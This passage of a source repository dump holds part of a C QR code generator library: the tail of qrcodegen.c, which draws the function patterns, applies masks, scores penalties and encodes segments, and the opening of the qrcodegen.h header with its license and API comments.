Code, without changing 453 | // non-function modules. This does not draw the format bits. This requires all function modules to be previously 454 | // marked dark (namely by initializeFunctionModules()), because this may skip redrawing dark function modules. 455 | static void drawLightFunctionModules(uint8_t qrcode[], int version) { 456 | // Draw horizontal and vertical timing patterns 457 | int qrsize = qrcodegen_getSize(qrcode); 458 | for (int i = 7; i < qrsize - 7; i += 2) { 459 | setModule(qrcode, 6, i, false); 460 | setModule(qrcode, i, 6, false); 461 | } 462 | 463 | // Draw 3 finder patterns (all corners except bottom right; overwrites some timing modules) 464 | for (int dy = -4; dy <= 4; dy++) { 465 | for (int dx = -4; dx <= 4; dx++) { 466 | int dist = abs(dx); 467 | if (abs(dy) > dist) 468 | dist = abs(dy); 469 | if (dist == 2 || dist == 4) { 470 | setModuleBounded(qrcode, 3 + dx, 3 + dy, false); 471 | setModuleBounded(qrcode, qrsize - 4 + dx, 3 + dy, false); 472 | setModuleBounded(qrcode, 3 + dx, qrsize - 4 + dy, false); 473 | } 474 | } 475 | } 476 | 477 | // Draw numerous alignment patterns 478 | uint8_t alignPatPos[7]; 479 | int numAlign = getAlignmentPatternPositions(version, alignPatPos); 480 | for (int i = 0; i < numAlign; i++) { 481 | for (int j = 0; j < numAlign; j++) { 482 | if ((i == 0 && j == 0) || (i == 0 && j == numAlign - 1) || (i == numAlign - 1 && j == 0)) 483 | continue; // Don't draw on the three finder corners 484 | for (int dy = -1; dy <= 1; dy++) { 485 | for (int dx = -1; dx <= 1; dx++) 486 | setModule(qrcode, alignPatPos[i] + dx, alignPatPos[j] + dy, dx == 0 && dy == 0); 487 | } 488 | } 489 | } 490 | 491 | // Draw version blocks 492 | if (version >= 7) { 493 | // Calculate error correction code and pack bits 494 | int rem = version; // version is uint6, in the range [7, 40] 495 | for (int i = 0; i < 12; i++) 496 | rem = (rem << 1) ^ ((rem >> 11) * 0x1F25); 497 | long bits = (long)version << 12 | rem; // uint18 498 | assert(bits >> 18 == 0); 499 | 500 | // Draw two copies 501 | for (int i = 0; i < 6; i++) { 502 | for (int j = 0; j < 3; j++) { 503 | int k = qrsize - 11 + j; 504 | setModule(qrcode, k, i, (bits & 1) != 0); 505 | setModule(qrcode, i, k, (bits & 1) != 0); 506 | bits >>= 1; 507 | } 508 | } 509 | } 510 | } 511 | 512 | 513 | // Draws two copies of the format bits (with its own error correction code) based 514 | // on the given mask and error correction level. This always draws all modules of 515 | // the format bits, unlike drawLightFunctionModules() which might skip dark modules. 516 | static void drawFormatBits(enum qrcodegen_Ecc ecl, enum qrcodegen_Mask mask, uint8_t qrcode[]) { 517 | // Calculate error correction code and pack bits 518 | assert(0 <= (int)mask && (int)mask <= 7); 519 | static const int table[] = {1, 0, 3, 2}; 520 | int data = table[(int)ecl] << 3 | (int)mask; // errCorrLvl is uint2, mask is uint3 521 | int rem = data; 522 | for (int i = 0; i < 10; i++) 523 | rem = (rem << 1) ^ ((rem >> 9) * 0x537); 524 | int bits = (data << 10 | rem) ^ 0x5412; // uint15 525 | assert(bits >> 15 == 0); 526 | 527 | // Draw first copy 528 | for (int i = 0; i <= 5; i++) 529 | setModule(qrcode, 8, i, getBit(bits, i)); 530 | setModule(qrcode, 8, 7, getBit(bits, 6)); 531 | setModule(qrcode, 8, 8, getBit(bits, 7)); 532 | setModule(qrcode, 7, 8, getBit(bits, 8)); 533 | for (int i = 9; i < 15; i++) 534 | setModule(qrcode, 14 - i, 8, getBit(bits, i)); 535 | 536 | // Draw second copy 537 | int qrsize = qrcodegen_getSize(qrcode); 538 | for (int i = 0; i < 8; i++) 539 | setModule(qrcode, qrsize - 1 - i, 8, getBit(bits, i)); 540 | for (int i = 8; i < 15; i++) 541 | setModule(qrcode, 8, qrsize - 15 + i, getBit(bits, i)); 542 | setModule(qrcode, 8, qrsize - 8, true); // Always dark 543 | } 544 | 545 | 546 | // Calculates and stores an ascending list of positions of alignment patterns 547 | // for this version number, returning the length of the list (in the range [0,7]). 548 | // Each position is in the range [0,177), and are used on both the x and y axes. 549 | // This could be implemented as lookup table of 40 variable-length lists of unsigned bytes. 550 | testable int getAlignmentPatternPositions(int version, uint8_t result[7]) { 551 | if (version == 1) 552 | return 0; 553 | int numAlign = version / 7 + 2; 554 | int step = (version == 32) ? 26 : 555 | (version * 4 + numAlign * 2 + 1) / (numAlign * 2 - 2) * 2; 556 | for (int i = numAlign - 1, pos = version * 4 + 10; i >= 1; i--, pos -= step) 557 | result[i] = (uint8_t)pos; 558 | result[0] = 6; 559 | return numAlign; 560 | } 561 | 562 | 563 | // Sets every pixel in the range [left : left + width] * [top : top + height] to dark. 564 | static void fillRectangle(int left, int top, int width, int height, uint8_t qrcode[]) { 565 | for (int dy = 0; dy < height; dy++) { 566 | for (int dx = 0; dx < width; dx++) 567 | setModule(qrcode, left + dx, top + dy, true); 568 | } 569 | } 570 | 571 | 572 | 573 | /*---- Drawing data modules and masking ----*/ 574 | 575 | // Draws the raw codewords (including data and ECC) onto the given QR Code. This requires the initial state of 576 | // the QR Code to be dark at function modules and light at codeword modules (including unused remainder bits). 577 | static void drawCodewords(const uint8_t data[], int dataLen, uint8_t qrcode[]) { 578 | int qrsize = qrcodegen_getSize(qrcode); 579 | int i = 0; // Bit index into the data 580 | // Do the funny zigzag scan 581 | for (int right = qrsize - 1; right >= 1; right -= 2) { // Index of right column in each column pair 582 | if (right == 6) 583 | right = 5; 584 | for (int vert = 0; vert < qrsize; vert++) { // Vertical counter 585 | for (int j = 0; j < 2; j++) { 586 | int x = right - j; // Actual x coordinate 587 | bool upward = ((right + 1) & 2) == 0; 588 | int y = upward ? qrsize - 1 - vert : vert; // Actual y coordinate 589 | if (!getModule(qrcode, x, y) && i < dataLen * 8) { 590 | bool dark = getBit(data[i >> 3], 7 - (i & 7)); 591 | setModule(qrcode, x, y, dark); 592 | i++; 593 | } 594 | // If this QR Code has any remainder bits (0 to 7), they were assigned as 595 | // 0/false/light by the constructor and are left unchanged by this method 596 | } 597 | } 598 | } 599 | assert(i == dataLen * 8); 600 | } 601 | 602 | 603 | // XORs the codeword modules in this QR Code with the given mask pattern. 604 | // The function modules must be marked and the codeword bits must be drawn 605 | // before masking. Due to the arithmetic of XOR, calling applyMask() with 606 | // the same mask value a second time will undo the mask. A final well-formed 607 | // QR Code needs exactly one (not zero, two, etc.) mask applied. 608 | static void applyMask(const uint8_t functionModules[], uint8_t qrcode[], enum qrcodegen_Mask mask) { 609 | assert(0 <= (int)mask && (int)mask <= 7); // Disallows qrcodegen_Mask_AUTO 610 | int qrsize = qrcodegen_getSize(qrcode); 611 | for (int y = 0; y < qrsize; y++) { 612 | for (int x = 0; x < qrsize; x++) { 613 | if (getModule(functionModules, x, y)) 614 | continue; 615 | bool invert; 616 | switch ((int)mask) { 617 | case 0: invert = (x + y) % 2 == 0; break; 618 | case 1: invert = y % 2 == 0; break; 619 | case 2: invert = x % 3 == 0; break; 620 | case 3: invert = (x + y) % 3 == 0; break; 621 | case 4: invert = (x / 3 + y / 2) % 2 == 0; break; 622 | case 5: invert = x * y % 2 + x * y % 3 == 0; break; 623 | case 6: invert = (x * y % 2 + x * y % 3) % 2 == 0; break; 624 | case 7: invert = ((x + y) % 2 + x * y % 3) % 2 == 0; break; 625 | default: assert(false); return; 626 | } 627 | bool val = getModule(qrcode, x, y); 628 | setModule(qrcode, x, y, val ^ invert); 629 | } 630 | } 631 | } 632 | 633 | 634 | // Calculates and returns the penalty score based on state of the given QR Code's current modules. 635 | // This is used by the automatic mask choice algorithm to find the mask pattern that yields the lowest score. 636 | static long getPenaltyScore(const uint8_t qrcode[]) { 637 | int qrsize = qrcodegen_getSize(qrcode); 638 | long result = 0; 639 | 640 | // Adjacent modules in row having same color, and finder-like patterns 641 | for (int y = 0; y < qrsize; y++) { 642 | bool runColor = false; 643 | int runX = 0; 644 | int runHistory[7] = {0}; 645 | for (int x = 0; x < qrsize; x++) { 646 | if (getModule(qrcode, x, y) == runColor) { 647 | runX++; 648 | if (runX == 5) 649 | result += PENALTY_N1; 650 | else if (runX > 5) 651 | result++; 652 | } else { 653 | finderPenaltyAddHistory(runX, runHistory, qrsize); 654 | if (!runColor) 655 | result += finderPenaltyCountPatterns(runHistory, qrsize) * PENALTY_N3; 656 | runColor = getModule(qrcode, x, y); 657 | runX = 1; 658 | } 659 | } 660 | result += finderPenaltyTerminateAndCount(runColor, runX, runHistory, qrsize) * PENALTY_N3; 661 | } 662 | // Adjacent modules in column having same color, and finder-like patterns 663 | for (int x = 0; x < qrsize; x++) { 664 | bool runColor = false; 665 | int runY = 0; 666 | int runHistory[7] = {0}; 667 | for (int y = 0; y < qrsize; y++) { 668 | if (getModule(qrcode, x, y) == runColor) { 669 | runY++; 670 | if (runY == 5) 671 | result += PENALTY_N1; 672 | else if (runY > 5) 673 | result++; 674 | } else { 675 | finderPenaltyAddHistory(runY, runHistory, qrsize); 676 | if (!runColor) 677 | result += finderPenaltyCountPatterns(runHistory, qrsize) * PENALTY_N3; 678 | runColor = getModule(qrcode, x, y); 679 | runY = 1; 680 | } 681 | } 682 | result += finderPenaltyTerminateAndCount(runColor, runY, runHistory, qrsize) * PENALTY_N3; 683 | } 684 | 685 | // 2*2 blocks of modules having same color 686 | for (int y = 0; y < qrsize - 1; y++) { 687 | for (int x = 0; x < qrsize - 1; x++) { 688 | bool color = getModule(qrcode, x, y); 689 | if ( color == getModule(qrcode, x + 1, y) && 690 | color == getModule(qrcode, x, y + 1) && 691 | color == getModule(qrcode, x + 1, y + 1)) 692 | result += PENALTY_N2; 693 | } 694 | } 695 | 696 | // Balance of dark and light modules 697 | int dark = 0; 698 | for (int y = 0; y < qrsize; y++) { 699 | for (int x = 0; x < qrsize; x++) { 700 | if (getModule(qrcode, x, y)) 701 | dark++; 702 | } 703 | } 704 | int total = qrsize * qrsize; // Note that size is odd, so dark/total != 1/2 705 | // Compute the smallest integer k >= 0 such that (45-5k)% <= dark/total <= (55+5k)% 706 | int k = (int)((labs(dark * 20L - total * 10L) + total - 1) / total) - 1; 707 | result += k * PENALTY_N4; 708 | return result; 709 | } 710 | 711 | 712 | // Can only be called immediately after a light run is added, and 713 | // returns either 0, 1, or 2. A helper function for getPenaltyScore(). 714 | static int finderPenaltyCountPatterns(const int runHistory[7], int qrsize) { 715 | int n = runHistory[1]; 716 | assert(n <= qrsize * 3); 717 | bool core = n > 0 && runHistory[2] == n && runHistory[3] == n * 3 && runHistory[4] == n && runHistory[5] == n; 718 | // The maximum QR Code size is 177, hence the dark run length n <= 177. 719 | // Arithmetic is promoted to int, so n*4 will not overflow. 720 | return (core && runHistory[0] >= n * 4 && runHistory[6] >= n ? 1 : 0) 721 | + (core && runHistory[6] >= n * 4 && runHistory[0] >= n ? 1 : 0); 722 | } 723 | 724 | 725 | // Must be called at the end of a line (row or column) of modules. A helper function for getPenaltyScore(). 726 | static int finderPenaltyTerminateAndCount(bool currentRunColor, int currentRunLength, int runHistory[7], int qrsize) { 727 | if (currentRunColor) { // Terminate dark run 728 | finderPenaltyAddHistory(currentRunLength, runHistory, qrsize); 729 | currentRunLength = 0; 730 | } 731 | currentRunLength += qrsize; // Add light border to final run 732 | finderPenaltyAddHistory(currentRunLength, runHistory, qrsize); 733 | return finderPenaltyCountPatterns(runHistory, qrsize); 734 | } 735 | 736 | 737 | // Pushes the given value to the front and drops the last value. A helper function for getPenaltyScore(). 738 | static void finderPenaltyAddHistory(int currentRunLength, int runHistory[7], int qrsize) { 739 | if (runHistory[0] == 0) 740 | currentRunLength += qrsize; // Add light border to initial run 741 | memmove(&runHistory[1], &runHistory[0], 6 * sizeof(runHistory[0])); 742 | runHistory[0] = currentRunLength; 743 | } 744 | 745 | 746 | 747 | /*---- Basic QR Code information ----*/ 748 | 749 | // Public function - see documentation comment in header file. 750 | int qrcodegen_getSize(const uint8_t qrcode[]) { 751 | assert(qrcode != NULL); 752 | int result = qrcode[0]; 753 | assert((qrcodegen_VERSION_MIN * 4 + 17) <= result 754 | && result <= (qrcodegen_VERSION_MAX * 4 + 17)); 755 | return result; 756 | } 757 | 758 | 759 | // Public function - see documentation comment in header file. 760 | bool qrcodegen_getModule(const uint8_t qrcode[], int x, int y) { 761 | assert(qrcode != NULL); 762 | int qrsize = qrcode[0]; 763 | return (0 <= x && x < qrsize && 0 <= y && y < qrsize) && getModule(qrcode, x, y); 764 | } 765 | 766 | 767 | // Gets the module at the given coordinates, which must be in bounds. 768 | testable bool getModule(const uint8_t qrcode[], int x, int y) { 769 | int qrsize = qrcode[0]; 770 | assert(21 <= qrsize && qrsize <= 177 && 0 <= x && x < qrsize && 0 <= y && y < qrsize); 771 | int index = y * qrsize + x; 772 | return getBit(qrcode[(index >> 3) + 1], index & 7); 773 | } 774 | 775 | 776 | // Sets the module at the given coordinates, which must be in bounds. 777 | testable void setModule(uint8_t qrcode[], int x, int y, bool isDark) { 778 | int qrsize = qrcode[0]; 779 | assert(21 <= qrsize && qrsize <= 177 && 0 <= x && x < qrsize && 0 <= y && y < qrsize); 780 | int index = y * qrsize + x; 781 | int bitIndex = index & 7; 782 | int byteIndex = (index >> 3) + 1; 783 | if (isDark) 784 | qrcode[byteIndex] |= 1 << bitIndex; 785 | else 786 | qrcode[byteIndex] &= (1 << bitIndex) ^ 0xFF; 787 | } 788 | 789 | 790 | // Sets the module at the given coordinates, doing nothing if out of bounds. 791 | testable void setModuleBounded(uint8_t qrcode[], int x, int y, bool isDark) { 792 | int qrsize = qrcode[0]; 793 | if (0 <= x && x < qrsize && 0 <= y && y < qrsize) 794 | setModule(qrcode, x, y, isDark); 795 | } 796 | 797 | 798 | // Returns true iff the i'th bit of x is set to 1. Requires x >= 0 and 0 <= i <= 14. 799 | static bool getBit(int x, int i) { 800 | return ((x >> i) & 1) != 0; 801 | } 802 | 803 | 804 | 805 | /*---- Segment handling ----*/ 806 | 807 | // Public function - see documentation comment in header file. 808 | bool qrcodegen_isNumeric(const char *text) { 809 | assert(text != NULL); 810 | for (; *text != '\0'; text++) { 811 | if (*text < '0' || *text > '9') 812 | return false; 813 | } 814 | return true; 815 | } 816 | 817 | 818 | // Public function - see documentation comment in header file. 819 | bool qrcodegen_isAlphanumeric(const char *text) { 820 | assert(text != NULL); 821 | for (; *text != '\0'; text++) { 822 | if (strchr(ALPHANUMERIC_CHARSET, *text) == NULL) 823 | return false; 824 | } 825 | return true; 826 | } 827 | 828 | 829 | // Public function - see documentation comment in header file. 830 | size_t qrcodegen_calcSegmentBufferSize(enum qrcodegen_Mode mode, size_t numChars) { 831 | int temp = calcSegmentBitLength(mode, numChars); 832 | if (temp == -1) 833 | return SIZE_MAX; 834 | assert(0 <= temp && temp <= INT16_MAX); 835 | return ((size_t)temp + 7) / 8; 836 | } 837 | 838 | 839 | // Returns the number of data bits needed to represent a segment 840 | // containing the given number of characters using the given mode. Notes: 841 | // - Returns -1 on failure, i.e. numChars > INT16_MAX or 842 | // the number of needed bits exceeds INT16_MAX (i.e. 32767). 843 | // - Otherwise, all valid results are in the range [0, INT16_MAX]. 844 | // - For byte mode, numChars measures the number of bytes, not Unicode code points. 845 | // - For ECI mode, numChars must be 0, and the worst-case number of bits is returned. 846 | // An actual ECI segment can have shorter data. For non-ECI modes, the result is exact. 847 | testable int calcSegmentBitLength(enum qrcodegen_Mode mode, size_t numChars) { 848 | // All calculations are designed to avoid overflow on all platforms 849 | if (numChars > (unsigned int)INT16_MAX) 850 | return -1; 851 | long result = (long)numChars; 852 | if (mode == qrcodegen_Mode_NUMERIC) 853 | result = (result * 10 + 2) / 3; // ceil(10/3 * n) 854 | else if (mode == qrcodegen_Mode_ALPHANUMERIC) 855 | result = (result * 11 + 1) / 2; // ceil(11/2 * n) 856 | else if (mode == qrcodegen_Mode_BYTE) 857 | result *= 8; 858 | else if (mode == qrcodegen_Mode_KANJI) 859 | result *= 13; 860 | else if (mode == qrcodegen_Mode_ECI && numChars == 0) 861 | result = 3 * 8; 862 | else { // Invalid argument 863 | assert(false); 864 | return -1; 865 | } 866 | assert(result >= 0); 867 | if (result > INT16_MAX) 868 | return -1; 869 | return (int)result; 870 | } 871 | 872 | 873 | // Public function - see documentation comment in header file. 874 | struct qrcodegen_Segment qrcodegen_makeBytes(const uint8_t data[], size_t len, uint8_t buf[]) { 875 | assert(data != NULL || len == 0); 876 | struct qrcodegen_Segment result; 877 | result.mode = qrcodegen_Mode_BYTE; 878 | result.bitLength = calcSegmentBitLength(result.mode, len); 879 | assert(result.bitLength != -1); 880 | result.numChars = (int)len; 881 | if (len > 0) 882 | memcpy(buf, data, len * sizeof(buf[0])); 883 | result.data = buf; 884 | return result; 885 | } 886 | 887 | 888 | // Public function - see documentation comment in header file. 889 | struct qrcodegen_Segment qrcodegen_makeNumeric(const char *digits, uint8_t buf[]) { 890 | assert(digits != NULL); 891 | struct qrcodegen_Segment result; 892 | size_t len = strlen(digits); 893 | result.mode = qrcodegen_Mode_NUMERIC; 894 | int bitLen = calcSegmentBitLength(result.mode, len); 895 | assert(bitLen != -1); 896 | result.numChars = (int)len; 897 | if (bitLen > 0) 898 | memset(buf, 0, ((size_t)bitLen + 7) / 8 * sizeof(buf[0])); 899 | result.bitLength = 0; 900 | 901 | unsigned int accumData = 0; 902 | int accumCount = 0; 903 | for (; *digits != '\0'; digits++) { 904 | char c = *digits; 905 | assert('0' <= c && c <= '9'); 906 | accumData = accumData * 10 + (unsigned int)(c - '0'); 907 | accumCount++; 908 | if (accumCount == 3) { 909 | appendBitsToBuffer(accumData, 10, buf, &result.bitLength); 910 | accumData = 0; 911 | accumCount = 0; 912 | } 913 | } 914 | if (accumCount > 0) // 1 or 2 digits remaining 915 | appendBitsToBuffer(accumData, accumCount * 3 + 1, buf, &result.bitLength); 916 | assert(result.bitLength == bitLen); 917 | result.data = buf; 918 | return result; 919 | } 920 | 921 | 922 | // Public function - see documentation comment in header file. 923 | struct qrcodegen_Segment qrcodegen_makeAlphanumeric(const char *text, uint8_t buf[]) { 924 | assert(text != NULL); 925 | struct qrcodegen_Segment result; 926 | size_t len = strlen(text); 927 | result.mode = qrcodegen_Mode_ALPHANUMERIC; 928 | int bitLen = calcSegmentBitLength(result.mode, len); 929 | assert(bitLen != -1); 930 | result.numChars = (int)len; 931 | if (bitLen > 0) 932 | memset(buf, 0, ((size_t)bitLen + 7) / 8 * sizeof(buf[0])); 933 | result.bitLength = 0; 934 | 935 | unsigned int accumData = 0; 936 | int accumCount = 0; 937 | for (; *text != '\0'; text++) { 938 | const char *temp = strchr(ALPHANUMERIC_CHARSET, *text); 939 | assert(temp != NULL); 940 | accumData = accumData * 45 + (unsigned int)(temp - ALPHANUMERIC_CHARSET); 941 | accumCount++; 942 | if (accumCount == 2) { 943 | appendBitsToBuffer(accumData, 11, buf, &result.bitLength); 944 | accumData = 0; 945 | accumCount = 0; 946 | } 947 | } 948 | if (accumCount > 0) // 1 character remaining 949 | appendBitsToBuffer(accumData, 6, buf, &result.bitLength); 950 | assert(result.bitLength == bitLen); 951 | result.data = buf; 952 | return result; 953 | } 954 | 955 | 956 | // Public function - see documentation comment in header file. 957 | struct qrcodegen_Segment qrcodegen_makeEci(long assignVal, uint8_t buf[]) { 958 | struct qrcodegen_Segment result; 959 | result.mode = qrcodegen_Mode_ECI; 960 | result.numChars = 0; 961 | result.bitLength = 0; 962 | if (assignVal < 0) 963 | assert(false); 964 | else if (assignVal < (1 << 7)) { 965 | memset(buf, 0, 1 * sizeof(buf[0])); 966 | appendBitsToBuffer((unsigned int)assignVal, 8, buf, &result.bitLength); 967 | } else if (assignVal < (1 << 14)) { 968 | memset(buf, 0, 2 * sizeof(buf[0])); 969 | appendBitsToBuffer(2, 2, buf, &result.bitLength); 970 | appendBitsToBuffer((unsigned int)assignVal, 14, buf, &result.bitLength); 971 | } else if (assignVal < 1000000L) { 972 | memset(buf, 0, 3 * sizeof(buf[0])); 973 | appendBitsToBuffer(6, 3, buf, &result.bitLength); 974 | appendBitsToBuffer((unsigned int)(assignVal >> 10), 11, buf, &result.bitLength); 975 | appendBitsToBuffer((unsigned int)(assignVal & 0x3FF), 10, buf, &result.bitLength); 976 | } else 977 | assert(false); 978 | result.data = buf; 979 | return result; 980 | } 981 | 982 | 983 | // Calculates the number of bits needed to encode the given segments at the given version. 984 | // Returns a non-negative number if successful. Otherwise returns -1 if a segment has too 985 | // many characters to fit its length field, or the total bits exceeds INT16_MAX. 986 | testable int getTotalBits(const struct qrcodegen_Segment segs[], size_t len, int version) { 987 | assert(segs != NULL || len == 0); 988 | long result = 0; 989 | for (size_t i = 0; i < len; i++) { 990 | int numChars = segs[i].numChars; 991 | int bitLength = segs[i].bitLength; 992 | assert(0 <= numChars && numChars <= INT16_MAX); 993 | assert(0 <= bitLength && bitLength <= INT16_MAX); 994 | int ccbits = numCharCountBits(segs[i].mode, version); 995 | assert(0 <= ccbits && ccbits <= 16); 996 | if (numChars >= (1L << ccbits)) 997 | return -1; // The segment's length doesn't fit the field's bit width 998 | result += 4L + ccbits + bitLength; 999 | if (result > INT16_MAX) 1000 | return -1; // The sum might overflow an int type 1001 | } 1002 | assert(0 <= result && result <= INT16_MAX); 1003 | return (int)result; 1004 | } 1005 | 1006 | 1007 | // Returns the bit width of the character count field for a segment in the given mode 1008 | // in a QR Code at the given version number. The result is in the range [0, 16]. 1009 | static int numCharCountBits(enum qrcodegen_Mode mode, int version) { 1010 | assert(qrcodegen_VERSION_MIN <= version && version <= qrcodegen_VERSION_MAX); 1011 | int i = (version + 7) / 17; 1012 | switch (mode) { 1013 | case qrcodegen_Mode_NUMERIC : { static const int temp[] = {10, 12, 14}; return temp[i]; } 1014 | case qrcodegen_Mode_ALPHANUMERIC: { static const int temp[] = { 9, 11, 13}; return temp[i]; } 1015 | case qrcodegen_Mode_BYTE : { static const int temp[] = { 8, 16, 16}; return temp[i]; } 1016 | case qrcodegen_Mode_KANJI : { static const int temp[] = { 8, 10, 12}; return temp[i]; } 1017 | case qrcodegen_Mode_ECI : return 0; 1018 | default: assert(false); return -1; // Dummy value 1019 | } 1020 | } 1021 | -------------------------------------------------------------------------------- /lib/qrcodegen.h: -------------------------------------------------------------------------------- 1 | /* 2 | * QR Code generator library (C) 3 | * 4 | * Copyright (c) Project Nayuki. (MIT License) 5 | * https://www.nayuki.io/page/qr-code-generator-library 6 | * 7 | * Permission is hereby granted, free of charge, to any person obtaining a copy of 8 | * this software and associated documentation files (the "Software"), to deal in 9 | * the Software without restriction, including without limitation the rights to 10 | * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 11 | * the Software, and to permit persons to whom the Software is furnished to do so, 12 | * subject to the following conditions: 13 | * - The above copyright notice and this permission notice shall be included in 14 | * all copies or substantial portions of the Software. 15 | * - The Software is provided "as is", without warranty of any kind, express or 16 | * implied, including but not limited to the warranties of merchantability, 17 | * fitness for a particular purpose and noninfringement. In no event shall the 18 | * authors or copyright holders be liable for any claim, damages or other 19 | * liability, whether in an action of contract, tort or otherwise, arising from, 20 | * out of or in connection with the Software or the use or other dealings in the 21 | * Software. 22 | */ 23 | 24 | #pragma once 25 | 26 | #include 27 | #include 28 | #include 29 | 30 | 31 | #ifdef __cplusplus 32 | extern "C" { 33 | #endif 34 | 35 | 36 | /* 37 | * This library creates QR Code symbols, which is a type of two-dimension barcode. 38 | * Invented by Denso Wave and described in the ISO/IEC 18004 standard. 39 | * A QR Code structure is an immutable square grid of dark and light cells. 40 | * The library provides functions to create a QR Code from text or binary data. 41 | * The library covers the QR Code Model 2 specification, supporting all versions (sizes) 42 | * from 1 to 40, all 4 error correction levels, and 4 character encoding modes. 43 | * 44 | * Ways to create a QR Code object: 45 | * - High level: Take the payload data and call qrcodegen_encodeText() or qrcodegen_encodeBinary(). 46 | * - Low level: Custom-make the list of segments and call 47 | * qrcodegen_encodeSegments() or qrcodegen_encodeSegmentsAdvanced(). 48 | * (Note that all ways require supplying the desired error correction level and various byte buffers.) 49 | */ 50 | 51 | 52 | /*---- Enum and struct types----*/ 53 | 54 | /* 55 | * The error correction level in a QR Code symbol. 56 | */ 57 | enum qrcodegen_Ecc { 58 | // Must be declared in ascending order of error protection 59 | // so that an internal qrcodegen function works properly 60 | qrcodegen_Ecc_LOW = 0 , // The QR Code can tolerate about 7% erroneous codewords 61 | qrcodegen_Ecc_MEDIUM , // The QR Code can tolerate about 15% erroneous codewords 62 | qrcodegen_Ecc_QUARTILE, // The QR Code can tolerate about 25% erroneous codewords 63 | qrcodegen_Ecc_HIGH , // The QR Code can tolerate about 30% erroneous codewords 64 | }; 65 | 66 | 67 | /* 68 | * The mask pattern used in a QR Code symbol. 69 | */ 70 | enum qrcodegen_Mask { 71 | // A special value to tell the QR Code encoder to 72 | // automatically select an appropriate mask pattern 73 | qrcodegen_Mask_AUTO = -1, 74 | // The eight actual mask patterns 75 | qrcodegen_Mask_0 = 0, 76 | qrcodegen_Mask_1, 77 | qrcodegen_Mask_2, 78 | qrcodegen_Mask_3, 79 | qrcodegen_Mask_4, 80 | qrcodegen_Mask_5, 81 | qrcodegen_Mask_6, 82 | qrcodegen_Mask_7, 83 | }; 84 | 85 | 86 | /* 87 | * Describes how a segment's data bits are interpreted. 88 | */ 89 | enum qrcodegen_Mode { 90 | qrcodegen_Mode_NUMERIC = 0x1, 91 | qrcodegen_Mode_ALPHANUMERIC = 0x2, 92 | qrcodegen_Mode_BYTE = 0x4, 93 | qrcodegen_Mode_KANJI = 0x8, 94 | qrcodegen_Mode_ECI = 0x7, 95 | }; 96 | 97 | 98 | /* 99 | * A segment of character/binary/control data in a QR Code symbol. 100 | * The mid-level way to create a segment is to take the payload data 101 | * and call a factory function such as qrcodegen_makeNumeric(). 102 | * The low-level way to create a segment is to custom-make the bit buffer 103 | * and initialize a qrcodegen_Segment struct with appropriate values. 104 | * Even in the most favorable conditions, a QR Code can only hold 7089 characters of data. 105 | * Any segment longer than this is meaningless for the purpose of generating QR Codes. 106 | * Moreover, the maximum allowed bit length is 32767 because 107 | * the largest QR Code (version 40) has 31329 modules. 108 | */ 109 | struct qrcodegen_Segment { 110 | // The mode indicator of this segment. 111 | enum qrcodegen_Mode mode; 112 | 113 | // The length of this segment's unencoded data. Measured in characters for 114 | // numeric/alphanumeric/kanji mode, bytes for byte mode, and 0 for ECI mode. 115 | // Always zero or positive. Not the same as the data's bit length. 116 | int numChars; 117 | 118 | // The data bits of this segment, packed in bitwise big endian. 119 | // Can be null if the bit length is zero. 120 | uint8_t *data; 121 | 122 | // The number of valid data bits used in the buffer. Requires 123 | // 0 <= bitLength <= 32767, and bitLength <= (capacity of data array) * 8. 124 | // The character count (numChars) must agree with the mode and the bit buffer length. 125 | int bitLength; 126 | }; 127 | 128 | 129 | 130 | /*---- Macro constants and functions ----*/ 131 | 132 | #define qrcodegen_VERSION_MIN 1 // The minimum version number supported in the QR Code Model 2 standard 133 | #define qrcodegen_VERSION_MAX 40 // The maximum version number supported in the QR Code Model 2 standard 134 | 135 | // Calculates the number of bytes needed to store any QR Code up to and including the given version number, 136 | // as a compile-time constant. For example, 'uint8_t buffer[qrcodegen_BUFFER_LEN_FOR_VERSION(25)];' 137 | // can store any single QR Code from version 1 to 25 (inclusive). The result fits in an int (or int16). 138 | // Requires qrcodegen_VERSION_MIN <= n <= qrcodegen_VERSION_MAX. 139 | #define qrcodegen_BUFFER_LEN_FOR_VERSION(n) ((((n) * 4 + 17) * ((n) * 4 + 17) + 7) / 8 + 1) 140 | 141 | // The worst-case number of bytes needed to store one QR Code, up to and including 142 | // version 40. This value equals 3918, which is just under 4 kilobytes. 143 | // Use this more convenient value to avoid calculating tighter memory bounds for buffers. 144 | #define qrcodegen_BUFFER_LEN_MAX qrcodegen_BUFFER_LEN_FOR_VERSION(qrcodegen_VERSION_MAX) 145 | 146 | 147 | 148 | /*---- Functions (high level) to generate QR Codes ----*/ 149 | 150 | /* 151 | * Encodes the given text string to a QR Code, returning true if encoding succeeded. 152 | * If the data is too long to fit in any version in the given range 153 | * at the given ECC level, then false is returned. 154 | * - The input text must be encoded in UTF-8 and contain no NULs. 155 | * - The variables ecl and mask must correspond to enum constant values. 156 | * - Requires 1 <= minVersion <= maxVersion <= 40. 157 | * - The arrays tempBuffer and qrcode must each have a length of at least 158 | * qrcodegen_BUFFER_LEN_FOR_VERSION(maxVersion), and cannot overlap. 159 | * - After the function returns, tempBuffer contains no useful data. 160 | * - If successful, the resulting QR Code may use numeric, 161 | * alphanumeric, or byte mode to encode the text. 162 | * - In the most optimistic case, a QR Code at version 40 with low ECC 163 | * can hold any UTF-8 string up to 2953 bytes, or any alphanumeric string 164 | * up to 4296 characters, or any digit string up to 7089 characters. 165 | * These numbers represent the hard upper limit of the QR Code standard. 166 | * - Please consult the QR Code specification for information on 167 | * data capacities per version, ECC level, and text encoding mode. 168 | */ 169 | bool qrcodegen_encodeText(const char *text, uint8_t tempBuffer[], uint8_t qrcode[], 170 | enum qrcodegen_Ecc ecl, int minVersion, int maxVersion, enum qrcodegen_Mask mask, bool boostEcl); 171 | 172 | 173 | /* 174 | * Encodes the given binary data to a QR Code, returning true if encoding succeeded. 175 | * If the data is too long to fit in any version in the given range 176 | * at the given ECC level, then false is returned. 177 | * - The input array range dataAndTemp[0 : dataLen] should normally be 178 | * valid UTF-8 text, but is not required by the QR Code standard. 179 | * - The variables ecl and mask must correspond to enum constant values. 180 | * - Requires 1 <= minVersion <= maxVersion <= 40. 181 | * - The arrays dataAndTemp and qrcode must each have a length of at least 182 | * qrcodegen_BUFFER_LEN_FOR_VERSION(maxVersion), and cannot overlap. 183 | * - After the function returns, the contents of dataAndTemp may have changed, 184 | * and does not represent useful data anymore. 185 | * - If successful, the resulting QR Code will use byte mode to encode the data. 186 | * - In the most optimistic case, a QR Code at version 40 with low ECC can hold any byte 187 | * sequence up to length 2953. This is the hard 